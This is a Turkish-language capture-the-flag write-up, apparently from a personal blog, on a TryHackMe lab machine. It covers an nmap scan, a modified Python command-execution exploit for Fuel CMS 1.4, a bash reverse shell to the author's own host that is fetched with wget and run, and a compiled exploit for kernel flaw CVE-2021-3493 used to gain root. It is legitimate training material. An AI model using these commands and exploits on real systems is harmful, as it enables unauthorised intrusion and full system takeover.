← Tüm Projeler

Ignite Kolay

Fuel CMS 1.4'teki bir RCE zafiyeti ile ilk erişim sağlayıp, Ubuntu OverlayFS kernel zafiyeti (CVE-2021-3493) üzerinden root yetkisi elde ettiğim makine. Aynı zamanda ilk CTF blog yazımdı.

TryHackMe Tamamlandı Web + Linux PrivEsc

Keşif (Recon)

Makineye bağlandıktan sonra detaylı bir nmap taraması yaparak açık servisleri tespit ettim:

nmap -sS -sV -sC -T5 10.112.128.121
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/fuel/

Sadece 80 portu açıktı. Tarayıcıdan siteye girdiğimde karşımda Fuel CMS çıktı.

Web Uygulaması Zafiyeti (Fuel CMS Exploit)

Fuel CMS 1.4 için Kali'nin yerel searchsploit veritabanında bir exploit olduğunu fark ettim. İncelediğimde exploitin Python 2 için yazıldığını gördüm. Çevirmeyi düşündüm ama hedef makine zaten Python 2 çalıştırıyordu; yine de çalıştırırken bağlantı (proxy) ayarlarından kaynaklanan hatalar aldım ve Python bilgimi kullanarak scripti düzelttim:

import requests
import urllib.request, urllib.parse, urllib.error

url = str(input("Target İP: "))
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
    xxxx = input('cmd:')
    burp0_url = url+"/fuel/pages/select/?filter=..."+urllib.parse.quote(xxxx)+"..."
    r = requests.get(burp0_url, proxies=None)   # proxy kaldırıldı

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)
    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text, begin, 2)
    print(r.text[0:dup])

Script çalışınca hedef adresi girerek karşıya bağlantı sağladım ve komut çalıştırma imkânı elde ettim.

Reverse Shell Elde Etme

Bash, PHP ve Python reverse shell komutlarının birkaç varyasyonunu denedim ama hiçbiri çalışmadı. Bunun yerine reverse shell komutunu bir .sh dosyasına yazıp kendi makinemde bir Python HTTP sunucusu açtım, dosyayı hedefe çektirip orada çalıştırdım:

# shell.sh içeriği
bash -i >& /dev/tcp/<ip_adresim>/<port> 0>&1

# kendi makinemde
python3 -m http.server 4545

# hedef makinede
wget http://<ip_adresim>:<port>/shell.sh
bash shell.sh

Erişim sağlandıktan sonra /home dizininden ilk flag'i (user.txt) buldum.

Yetki Yükseltme (Privilege Escalation)

linpeas.sh aracını GitHub üzerinden indirip hedefe aktardım ve çalıştırdım. Çıktıda birden fazla kernel CVE adayı listelenmişti:

Listedeki CVE'lere ait exploitleri sırayla denedim ve CVE-2021-3493 için çalışan bir exploit buldum. Kaynak kodunu derleyip çalıştırdım:

gcc exploit.c -o exploit
./exploit

id ve whoami ile yetkimi doğruladım, /root dizininden son flag'i alıp makineyi tamamladım.

Sonuç ve Öğrendiklerim

Bu makine bana özellikle şunu gösterdi: internette bulunan public exploitler genelde "olduğu gibi" çalışmıyor, ufak uyarlamalar gerektiriyor — ve tam bu noktada Python bilgim gerçekten işime yaradı. Ayrıca birden fazla privilege escalation adayını sistematik şekilde deneyip elemek, sabır ve düzenli çalışmanın önemini bir kez daha gösterdi.